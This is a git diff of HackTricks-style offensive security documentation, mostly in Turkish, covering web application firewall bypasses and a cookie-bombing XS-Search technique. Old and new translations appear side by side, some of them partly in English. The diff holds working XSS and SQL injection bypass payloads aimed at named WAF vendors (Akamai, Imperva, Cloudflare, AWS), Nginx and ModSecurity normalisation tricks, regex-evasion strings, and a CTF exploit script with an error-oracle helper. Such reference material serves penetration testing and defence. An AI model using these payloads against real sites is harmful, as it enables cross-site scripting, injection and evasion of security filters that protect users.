Nginx, atlatmaları önlemek için kontrol etmeden önce yol normalizasyonu yapar. Ancak, eğer arka uç sunucu farklı bir normalizasyon yapıyorsa (nginx'in kaldırmadığı karakterleri kaldırıyorsa), bu savunmayı aşmak mümkün olabilir.
|
||||
Bypass'ları önlemek için Nginx, yolu kontrol etmeden önce normalizasyon yapar. Ancak backend sunucu farklı bir normalizasyon (nginx'in kaldırmadığı karakterleri kaldırmak gibi) uyguluyorsa, bu savunma atlanabilir.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Versiyonu | **Node.js Atlatma Karakterleri** |
|
||||
| --------------- | --------------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| Nginx Sürümü | **Node.js Bypass Characters** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Versiyonu | **Flask Atlatma Karakterleri** |
|
||||
| --------------- | --------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| Nginx Sürümü | **Flask Bypass Characters** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Versiyonu | **Spring Boot Atlatma Karakterleri** |
|
||||
| --------------- | ------------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
| Nginx Sürümü | **Spring Boot Bypass Characters** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır, ancak bu, `/admin.php/index.php` üzerinden erişim sağlayarak aşılabilir.
|
||||
Nginx, `/admin.php` erişimini engelleyecek şekilde yapılandırılmıştır ancak `/admin.php/index.php` yoluna erişilerek bu engel atlatılabilir.
|
||||
|
||||
### Nasıl önlenir
|
||||
```plaintext
|
||||
@ -70,24 +70,24 @@ location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Mod Security Kurallarını Bypass Etme <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Mod Security Kurallarını Aşma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Yol Karışıklığı
|
||||
|
||||
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3'ün (3.0.12'ye kadar) erişilen yolu içermesi gereken **`REQUEST_FILENAME`** değişkenini yanlış bir şekilde uyguladığı açıklanmaktadır (parametrelerin başlangıcına kadar). Bunun nedeni, yolu almak için bir URL çözümlemesi yapmasıdır.\
|
||||
Bu nedenle, mod security'de `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f` `?`'ye dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
|
||||
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) ModSecurity v3 (3.0.12'ye kadar) sürümünde, erişilen yolu (parametrelerin başlangıcına kadar) içermesi gereken `REQUEST_FILENAME` değişkeninin **uygunsuz şekilde uygulandığı** açıklanıyor. Bu, yolu elde etmek için bir URL decode işlemi gerçekleştirdiği içindir.\
|
||||
Bu yüzden, mod security'de `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, `%3f` `?`'ye dönüştüğü için yolun sadece `/foo` olduğunu varsayar (bu URL yolunu sonlandırır), oysa sunucunun alacağı gerçek yol `/foo%3f';alert(1);foo=` olacaktır.
|
||||
|
||||
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilenmiştir.
|
||||
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilendi.
|
||||
|
||||
Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmayı mümkün kılmıştır (örneğin `.bak` gibi) sadece noktayı `%2e` ile URL kodlayarak göndererek, örneğin: `https://example.com/backup%2ebak`.
|
||||
Benzer bir durum Mod Security'nin 2. sürümünde de meydana geldi; bu, kullanıcıların yedek dosyalarla ilişkili belirli uzantılara sahip dosyalara (ör. `.bak`) erişmesini engelleyen bir korumayı, noktanın URL encode edilmiş hali `%2e` gönderilerek atlamaya izin veriyordu; örneğin: `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL'yi Bypass Etme <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## AWS WAF ACL'yi Aşma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Bozuk Başlık
|
||||
### Hatalı Header
|
||||
|
||||
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS tarafından düzgün bir şekilde ayrıştırılmayan ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını aşmanın mümkün olduğunu belirtmektedir.
|
||||
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) AWS tarafından doğru şekilde parse edilmeyen ancak backend sunucu tarafından parse edilen "malformed" bir header göndererek HTTP header'ları üzerinde uygulanan AWS WAF kurallarını atlamanın mümkün olduğunu belirtiyor.
|
||||
|
||||
Örneğin, X-Query başlığında bir SQL enjeksiyonu ile aşağıdaki isteği göndermek:
|
||||
Örneğin, X-Query header'ında bir SQL injection bulunan aşağıdaki isteği göndermek:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,49 +96,50 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlığın değeriyle ilgili olduğunu anlamıyordu, oysa NODEJS sunucusu anlıyordu (bu düzeltildi).
|
||||
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
|
||||
|
||||
## Genel WAF atlatmaları
|
||||
## Genel WAF bypass'ları
|
||||
|
||||
### İstek Boyut Sınırları
|
||||
### İstek Boyutu Limitleri
|
||||
|
||||
Genellikle WAF'lar, kontrol edilecek isteklerin belirli bir uzunluk sınırına sahiptir ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.
|
||||
Genellikle WAF'lerin kontrol ettikleri isteklerde belirli bir uzunluk limiti vardır ve bir POST/PUT/PATCH isteği bu limiti aşarsa, WAF isteği kontrol etmez.
|
||||
|
||||
- AWS WAF için [**belgelere göz atabilirsiniz**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Uygulama Yük Dengeleyici ve AWS AppSync korumaları için incelenebilecek maksimum web istek gövde boyutu</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner ve Doğrulanmış Erişim korumaları için incelenebilecek maksimum web istek gövde boyutu**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- [**Azure belgelerinden**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Eski Web Uygulama Güvenlik Duvarları, Core Rule Set 3.1 (veya daha düşük) ile **128 KB**'dan büyük mesajlara izin verir, istek gövdesi incelemesini kapatarak, ancak bu mesajlar güvenlik açıkları için kontrol edilmeyecektir. Daha yeni sürümler (Core Rule Set 3.2 veya daha yeni) için, maksimum istek gövde sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:
|
||||
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
|
||||
|
||||
Eğer **önleme modu**: İsteği kaydeder ve engeller.\
|
||||
Eğer **tespit modu**: Sınır kadar inceler, geri kalanını göz ardı eder ve `Content-Length` sınırı aşarsa kaydeder.
|
||||
If p**revention mode**: Logs and blocks the request.\
|
||||
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
|
||||
|
||||
- [**Akamai'den**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
|
||||
Varsayılan olarak, WAF yalnızca bir isteğin ilk 8KB'sini inceler. Gelişmiş Meta Veriler ekleyerek sınırı 128KB'a kadar artırabilir.
|
||||
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
|
||||
|
||||
- [**Cloudflare'den**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
128KB'a kadar.
|
||||
Up to 128KB.
|
||||
|
||||
### Statik varlıkların inceleme boşlukları (.js GET'leri)
|
||||
### Static assets inspection gaps (.js GETs)
|
||||
|
||||
Bazı CDN/WAF yığınları, statik varlıklar için GET isteklerine zayıf veya hiç içerik incelemesi uygulamaz (örneğin, `.js` ile biten yollar), yine de oran sınırlama ve IP itibarı gibi küresel kuralları uygular. Statik uzantıların otomatik önbelleğe alınması ile birleştirildiğinde, bu, sonraki HTML yanıtlarını etkileyen kötü niyetli varyantları iletmek veya tohumlamak için kötüye kullanılabilir.
|
||||
Bazı CDN/WAF katmanları, `.js` ile biten yollar gibi statik varlıklar için yapılan GET isteklerinde zayıf veya hiç content inspection uygulamayabilir; buna karşın rate limiting ve IP reputation gibi global kuralları uygulamaya devam edebilir. Statik uzantıların auto-caching ile birleştiğinde, bu durum sonraki HTML cevaplarını etkileyen kötü amaçlı varyantların teslim edilmesi veya tohumlanması için kötüye kullanılabilir.
|
||||
|
||||
Pratik kullanım durumları:
|
||||
Pratik kullanım örnekleri:
|
||||
|
||||
- İçerik incelemesini atlatmak için bir GET isteğinde güvensiz başlıklarda (örneğin, `User-Agent`) yükler gönderin, ardından önbelleğe alınmış varyantı etkilemek için hemen ana HTML'yi isteyin.
|
||||
- Temiz bir IP kullanın; bir IP işaretlendiğinde, yönlendirme değişiklikleri tekniği güvenilmez hale getirebilir.
|
||||
- Burp Repeater'da, iki isteği (`.js` ardından HTML) aynı ön uç yolundan yarışmak için "Paralel grubu gönder" (tek paket tarzı) seçeneğini kullanın.
|
||||
- İçerik denetiminden kaçınmak için `.js` yoluna yapılan bir GET'de güvensiz header'lara (ör. `User-Agent`) payload gönderin, ardından cachelenmiş varyantı etkilemek için hemen ana HTML'i isteyin.
|
||||
- Temiz/yeni bir IP kullanın; bir IP işaretlendikten sonra yönlendirme değişiklikleri tekniği güvenilmez hale getirebilir.
|
||||
- Burp Repeater'da, aynı front-end yolundan iki isteği (`.js` sonra HTML) yarıştırmak için "Send group in parallel" (single-packet style) kullanın.
|
||||
|
||||
Bu, başlık yansıma önbellek zehirlenmesi ile iyi bir şekilde eşleşir. Bakınız:
|
||||
Bu, header-reflection cache poisoning ile iyi eşleşir. Bakınız:
|
||||
|
||||
- {{#ref}}
|
||||
{{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [Bir kamu BBP'sinde 0-Tıklama Hesap ele geçirme buldum ve bunu Yönetici Düzeyi işlevlerine erişmek için nasıl kullandım](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
@ -150,7 +151,7 @@ cache-deception/README.md
|
||||
```
|
||||
### Unicode Uyumluluğu <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Unicode normalizasyonunun uygulanmasına bağlı olarak (daha fazla bilgi [burada](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayabilir ve amaçlanan yük olarak çalıştırılabilir. Uyumlu karakterler [burada](https://www.compart.com/en/unicode) bulunabilir.
|
||||
Unicode normalizasyonunun uygulanışına bağlı olarak (daha fazla bilgi [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), Unicode uyumluluğunu paylaşan karakterler WAF'ı atlayarak amaçlanan payload olarak çalıştırılabilir. Uyumlu karakterler [here](https://www.compart.com/en/unicode) adresinde bulunabilir.
|
||||
|
||||
#### Örnek <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -158,45 +159,45 @@ Unicode normalizasyonunun uygulanmasına bağlı olarak (daha fazla bilgi [burad
|
||||
# to the XSS payload on the right
|
||||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||||
```
|
||||
### Bağlamsal WAF'ları Kodlamalarla Aşma <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
[**bu blog yazısında**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) belirtildiği gibi, kullanıcı girdisinin bağlamını koruyabilen WAF'ları aşmak için WAF tekniklerini kullanarak kullanıcı girdisini normalize edebiliriz.
|
||||
As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.
|
||||
|
||||
Örneğin, yazıda **Akamai bir kullanıcı girdisini 10 kez URL çözümlediği** belirtiliyor. Bu nedenle `<input/%2525252525252525253e/onfocus` gibi bir şey Akamai tarafından `<input/>/onfocus` olarak görülecek ve **etiket kapandığı için bunun sorun olmadığını düşünebilir**. Ancak, uygulama girdiyi 10 kez URL çözümlemediği sürece, kurban `<input/%25252525252525253e/onfocus` gibi bir şey görecek ve bu **hala bir XSS saldırısı için geçerli**.
|
||||
For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.
|
||||
|
||||
Bu nedenle, bu durum **WAF'ın çözüp yorumlayacağı kodlanmış bileşenlerde yükleri gizlemeye** olanak tanır, kurban ise bunu göremez.
|
||||
Therefore, this allows to **hide payloads in encoded components** that the WAF will decode and interpret while the victim won't.
|
||||
|
||||
Ayrıca, bu sadece URL kodlanmış yüklerle değil, aynı zamanda unicode, hex, octal gibi diğer kodlamalarla da yapılabilir...
|
||||
Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...
|
||||
|
||||
Yazıda aşağıdaki son aşma yöntemleri önerilmektedir:
|
||||
In the post the following final bypasses are suggested:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
Ayrıca, **bazı WAF'ların kullanıcı girdisinin bağlamını nasıl anladığına** bağlı olarak bunu kötüye kullanmanın mümkün olabileceği belirtiliyor. Blogda önerilen örnek, Akamai'nin `/*` ve `*/` arasında herhangi bir şey koymaya izin vermesidir (potansiyel olarak bu, genellikle yorumlar olarak kullanıldığı için). Bu nedenle, `/*'or sleep(5)-- -*/` gibi bir SQL enjeksiyonu yakalanmayacak ve geçerli olacaktır çünkü `/*` enjeksiyonun başlangıç dizesidir ve `*/` yorumlanmıştır.
|
||||
It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.
|
||||
|
||||
Bu tür bağlam sorunları, WAF tarafından istismar edilmesi beklenen **diğer zayıflıkları kötüye kullanmak için de** kullanılabilir (örneğin, bu bir XSS'i istismar etmek için de kullanılabilir).
|
||||
These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
|
||||
|
||||
### H2C Kaçırma <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### IP Dönüşümü <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf ile kullanılmak üzere bir API geçidi URL'si oluşturur
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox'a benzer
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): API geçidi IP'lerini kullanan Burp Suite eklentisi
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Girdi dosyası boyutuna ve bölme faktörüne dayalı olarak dinamik olarak belirlenen bir konteyner örneği sayısı etkinleştirilir, girdi, paralel yürütme için parçalara ayrılır; örneğin, 10,000 satırlık bir girdi dosyasından 100 satırlık bir bölme faktörü ile 100 örnek 100 parçayı işler.
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Aşmaları
|
||||
### Regex Bypasses
|
||||
|
||||
Firewall'lar üzerindeki regex filtrelerini aşmak için farklı teknikler kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonları ekleme ve yükleri kodlama bulunmaktadır. Çeşitli aşmalar için kaynaklar [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) ve [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) adreslerinde bulunabilir. Aşağıdaki örnekler [bu makaleden](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) alınmıştır.
|
||||
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -219,15 +220,15 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## Araçlar
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAF'ları uzunlukla atlatmak için isteklere gereksiz veri ekleyen Burp eklentisi
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAF'leri uzunluk yoluyla atlatmak için isteklere çöp veri ekleyen Burp eklentisi
|
||||
|
||||
## Referanslar
|
||||
## Kaynaklar
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [Halka açık bir BBP'de 0-Tıklama Hesap ele geçirme buldum ve bunu Yönetici Düzeyi işlevlerine erişmek için kullandım](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Bir public BBP'de 0-Click Account takeover'ı nasıl buldum ve bunu Admin-Level işlevselliklere erişmek için nasıl kullandım](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Aşağıdaki **script**, kullanıcının **herhangi bir miktarda çerez eklemesine** olanak tanıyan bir işlevselliği istismar ediyor ve ardından gerçek yanıtın yanlış olandan daha büyük olacağını bilerek bir dosyayı script olarak yüklüyor. Eğer başarılı olursa, yanıt, sunucu tarafından işlenemeyecek kadar uzun bir URL ile yönlendirme olur, **bu nedenle bir hata http durum kodu döner**. Arama başarısız olursa, URL kısa olduğu için hiçbir şey olmayacaktır.
|
||||
Bu teknik şunları birleştirir:
|
||||
- Cookie bombing: hedef origin için mağdurun tarayıcısını çok sayıda/büyük çerezle doldurma, böylece sonraki istekler sunucu/istek limitlerine (istek header boyutu, yönlendirmelerdeki URL boyutu, vb.) takılır.
|
||||
- Error-event oracle: bir cross-origin endpoint'i <script> (veya diğer bir subresource) ile yoklayıp onload vs onerror ile durumları ayırt etme.
|
||||
|
||||
Genel fikir
|
||||
- Test etmek istediğiniz iki durum için davranışı farklı olan bir hedef endpoint bulun (örn., arama “hit” vs “miss”).
|
||||
- “Hit” yolu ağır bir redirect zinciri veya uzun URL tetikleyecek şekilde, “miss” yolu kısa kalacak şekilde düzenleyin. Birçok çerez kullanarak istek headerlarını şişirin; böylece sadece “hit” yolu sunucunun bir HTTP hatası (örn., 431/414/400) ile başarısız olmasına yol açsın. Hata onerror olayını tetikler ve XS-Search için bir oracle haline gelir.
|
||||
|
||||
Ne zaman işe yarar
|
||||
- Mağdurun tarayıcısının hedefe çerez göndermesini sağlayabiliyorsanız (örn., çerezler SameSite=None ise veya bir popup ile first-party bağlamda window.open aracılığıyla ayarlayabiliyorsanız).
|
||||
- Rastgele çerezler ayarlamak için suistimal edebileceğiniz bir uygulama özelliği varsa (örn., kontrol edilen input isim/değerlerini Set-Cookie'ye çeviren “save preference” endpoint'leri) veya post-auth redirects sırasında saldırgan kontrollü veriyi URL'e dahil eden bir özellik varsa.
|
||||
- Sunucu iki durumda farklı tepki veriyor ve header/URL şişirilince bir durum limiti aşılıyor ve onerror'ı tetikleyecek şekilde bir hata döndürüyor.
|
||||
|
||||
Oracle olarak kullanılan sunucu hatalarına not
|
||||
- Çerezlerin istek headerlarını şişirdiği durumlarda genellikle 431 Request Header Fields Too Large döner; uzun istek hedefleri için 414 URI Too Long veya sunucuya özgü bir 400 dönebilir. Bunların herhangi biri subresource yüklemesinin başarısız olmasına ve onerror'ın tetiklenmesine yol açar. [MDN documents 431 and typical causes like excessive cookies.]()
|
||||
|
||||
Pratik örnek (angstromCTF 2022)
|
||||
Aşağıdaki script (public bir writeup'tan) saldırganın rastgele çerez eklemesine izin veren bir özelliği suistimal eder, sonra cross-origin search endpoint'ini script olarak yükler. Sorgu doğru olduğunda, sunucu bir redirect gerçekleştirir ve bu redirect çerez şişmesi ile birlikte sunucu limitlerini aşarak bir hata durumu döner; bu yüzden script.onerror tetiklenir; aksi halde hiçbir şey olmaz.
|
||||
```html
|
||||
<>'";
|
||||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||||
@ -57,4 +74,51 @@ break
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Neden popup (window.open)?
|
||||
- Modern tarayıcılar giderek third-party cookies'i engelliyor. Hedefe top-level window açmak, cookie'leri first-party yapar; böylece hedeften gelen Set-Cookie yanıtları kalıcı olur ve cookie-bomb adımı third-party cookie restrictions olsa bile işlemeye devam eder.
|
||||
|
||||
Generic probing helper
|
||||
Hedef origin (first-party) üzerinde birçok cookie ayarlama yolunuz zaten varsa, bu minimal oracle'u başarısı/başarısızlığı farklı network sonuçlarına (status/MIME/redirect) yol açan herhangi bir endpoint'e karşı yeniden kullanabilirsiniz:
|
||||
```js
|
||||
function probeError(url) {
|
||||
return new Promise((resolve) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = url;
|
||||
s.onload = () => resolve(false); // loaded successfully
|
||||
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
}
|
||||
```
|
||||
